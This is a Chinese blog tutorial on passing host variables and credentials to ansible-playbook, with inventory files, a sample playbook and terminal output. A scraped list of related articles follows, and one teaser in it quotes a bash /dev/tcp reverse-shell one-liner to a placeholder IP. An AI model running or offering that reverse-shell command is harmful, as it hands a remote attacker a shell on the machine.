ansible-playbook 配置 hosts 后可以指定变量,通过-k 可以交互输入密码,也可以将密码写在 hosts 文件中。

入口 yaml 文件中通过 {{ ** }} 获取变量,命令行通过 -i 指定 hosts 文件, -e 传入参数,如果同时传入多个 host 参数可使用逗号分隔,同时也可以使用 hosts 文件中的变量 ,其中 remote_user: root 可以在 ansiplay-book 命令行中使用 -u root 替代。

[root@10_1_162_39 host_vars]# ll
total
-rw-r--r-- root root May : hosts
-rw-r--r-- root root May : test1.yaml
-rw-r--r-- root root May : test.playbook
[root@10_1_162_39 host_vars]# cat hosts
[web]
10.1.167.36
[web:vars]
ansible_ssh_port= [web1]
10.1.162.18
[web1:vars]
ansible_ssh_port= [root@10_1_162_39 host_vars]# cat test1.yaml
---
- hosts: "{{ host }}"
gather_facts: false
remote_user: root
tasks:
- shell: uptime
register: output
- debug: var=output.stdout
[root@10_1_162_39 host_vars]# ansible-playbook test1.yaml -i hosts -e host=10.1.162.18 -k
SSH password: PLAY [10.1.162.18] ************************************************************* TASK [command] *****************************************************************
changed: [10.1.162.18] TASK [debug] *******************************************************************
ok: [10.1.162.18] => {
"output.stdout": " 09:26:36 up 18:05, 7 users, load average: 0.05, 0.10, 0.08"
} PLAY RECAP *********************************************************************
10.1.162.18 : ok= changed= unreachable= failed= [root@10_1_162_39 host_vars]#

配置密钥后还需要指定 host 端口,由于只配了一个 ip 的密钥,则另外 ip 报错,可以通过 -k 输入另外 ip 的密码即可。(这里的原理应该是 两个 ip 都会验证这个密码,其中一个 ip 密码验证通过,另外一个 ip 验证不通过则会判断是否已经打通公钥认证。当然顺序可能相反,没有看源码。而且 ansible 本身会缓存密码,缓存时间比较短,应该是几分钟内,这段时间内即使输错密码也可以登陆,这里应该是类似 session 原理)

[root@10_1_162_39 host_vars]# cat hosts
[web]
10.1.162.18:
10.1.167.36: [root@10_1_162_39 host_vars]# ssh-copy-id -i ~/.ssh/id_rsa.pub "-p 322 root@10.1.162.18 "
root@10.1.162.18's password:
Now try logging into the machine, with "ssh '-p 322 root@10.1.162.18 '", and check in: .ssh/authorized_keys to make sure we haven't added extra keys that you weren't expecting. [root@10_1_162_39 host_vars]# ansible web -m shell -a ifconfig -i hosts
10.1.162.18 | SUCCESS | rc= >>
eth0 Link encap:Ethernet HWaddr :0C:::BD:
inet addr:192.168.238.129 Bcast:192.168.238.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe21:bd17/ Scope:Link
UP BROADCAST RUNNING MULTICAST MTU: Metric:
RX packets: errors: dropped: overruns: frame:
TX packets: errors: dropped: overruns: carrier:
collisions: txqueuelen:
RX bytes: (347.3 MiB) TX bytes: (6.4 MiB)
Interrupt: Base address:0x2000 lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::/ Scope:Host
UP LOOPBACK RUNNING MTU: Metric:
RX packets: errors: dropped: overruns: frame:
TX packets: errors: dropped: overruns: carrier:
collisions: txqueuelen:
RX bytes: (480.0 b) TX bytes: (480.0 b) 10.1.167.36 | UNREACHABLE! => {
"changed": false,
"msg": "Failed to connect to the host via ssh: Permission denied (publickey,gssapi-keyex,gssapi-with-mic,password).\r\n",
"unreachable": true
}

ansible-playbook 主机变量2的更多相关文章

  1. ansible的主机变量

    ansible的主机变量(常用):ansible_ssh_host     #用于指定被管理的主机的真实IPansible_ssh_port     #用于指定连接到被管理主机的ssh端口号,默认是2 ...

  2. Ansible Playbook 使用变量

    如何在 Playbook 中定义并使用变量: vars: - user: "test" # 定义变量 tasks: - name: create user user: name=& ...

  3. Ansible Playbook 变量与 register 详解

    ansible 定义变量方式与[多层]变量引用,以及 register 详解 主机规划 添加用户账号 说明: 1. 运维人员使用的登录账号: 2. 所有的业务都放在 /app/ 下「yun用户的家目录 ...

  4. ansible playbook最佳实践

    本篇主要是根据官方翻译而来,从而使简单的翻译,并没有相关的实验步骤,以后文章会补充为实验步骤,此篇主要是相关理论的说明,可以称之为中文手册之一,具体内容如下: Ansible playbooks最佳实 ...

  5. ansible笔记(10):初识ansible playbook

    ansible笔记():初识ansible playbook 假设,我们想要在test70主机上安装nginx并启动,我们可以在ansible主机中执行如下3条命令 ansible test70 -m ...

  6. Ansible playbook 批量修改服务器密码 先普通后root用户

    fsckzy   Ansible playbook 批量修改服务器密码 客户的需求:修改所有服务器密码,密码规则为Rfv5%+主机名后3位 背景:服务器有CentOS6.7,SuSE9.10.11,r ...

  7. 写Ansible playbook添加zabbix被监控的对象

    本主题达到的效果是能通过编写Ansible Playbook,创建zabbix主机组,把被监控的对象加入到zabbix监控系统中,同时链接到对象的模板. 1.准备工作 在zabbix服务器上面,我们需 ...

  8. Ansible Playbook Variables

    虽然自动化存在使得更容易使事情重复,但所有的系统可能不完全一样. 在某些系统上,您可能需要设置一些与其他操作略有不同的行为或配置. 此外,一些观察到的远程系统的行为或状态可能需要影响如何配置这些系统. ...

  9. Ansible Playbook Roles and Include Statements

    介绍 虽然可以在一个非常大的文件中编写一个playbook(您可能会以这种方式开始学习playbook),但最终您将需要重新使用文件并开始组织事情. 在基本级别,饱含任务的文件允许您将配置策略分解成较 ...

  10. Ansible playbook基础组件介绍

    本节内容: ansible playbook介绍 ansible playbook基础组件 playbook中使用变量 一.ansible playbook介绍 playbook是由一个或多个“pla ...

随机推荐

  1. vue基础——列表渲染

    列表渲染 用 v-for 把一个数组对应为一组元素 我们用 v-for 指令根据一组数组的选项列表进行渲染.v-for 指令需要使用 item in items 形式的特殊语法, items 是源数据 ...

  2. windows phone, 应用最大内存

    windows phone应用最大内存为150M,当app运行时所占内存超过150M时app会自动退出(VS debug时不容易捕捉到这个内存超出异常). [注]可通过配置增大最大内存

  3. 学习笔记-db

    异步,最终一致性,幂等操作 关系型数据库隔离了数据的存储路径,让用户只关心查询的逻辑,为了实现事物和强一致性通过各种锁牺牲了性能 互联网在线处理需求排列 数据的扩展性 > 请求的响应时间 > ...

  4. playbook相关

    ansible-playbook site.yml  -f 10 ansible-playbook常用参数说明: -f  10          启用10个并发进程数执行playbook -u  RM ...

  5. nc命令使用详解

    反弹shell方法: 反弹端:bash -i >&  /dev/tcp/10.0.0.1/8080 0>&1  或 bash -i &>  /dev/tcp/ ...

  6. unity 设置屏幕旋转

    只允许竖屏: Portrait                    √ Portrait Upside Down √ Landscape Right        × Landscape Left ...

  7. conductor 系统任务

    动态任务: 参数: dynamicTaskNameParam:来自任务输入的参数的名称,其值用于调度任务. 例如 如果参数的值为ABC,则调度的下一个任务类型为“ABC”. Example { &qu ...

  8. mysql物理备份

    原本以为直接将data文件夹下每个数据库对应的文件夹拷贝到新的MySQL的data文件夹就可以了,其实不然. 这样做有几个问题: 1.如果是用了引擎的表,还需要复制ibdata文件,并且frm文件所在 ...

  9. poj1661 (DP)

    题目链接:http://poj.org/problem?id=1661 思路: 把初始位置看成左,右端点均为x0,即长度为0,高度为y0的一个平台,按照平台高度从低到高排序.用dp[i][0],dp[ ...

  10. 【校招面试 之 C/C++】第18题 C++ 中的隐式转换以及explicit关键字

    1.什么是隐式转换: 众所周知,C++的基本类型中并非完全的对立,部分数据类型之间是可以进行隐式转换的. 所谓隐式转换,是指不需要用户干预,编译器私下进行的类型转换行为.很多时候用户可能都不知道进行了 ...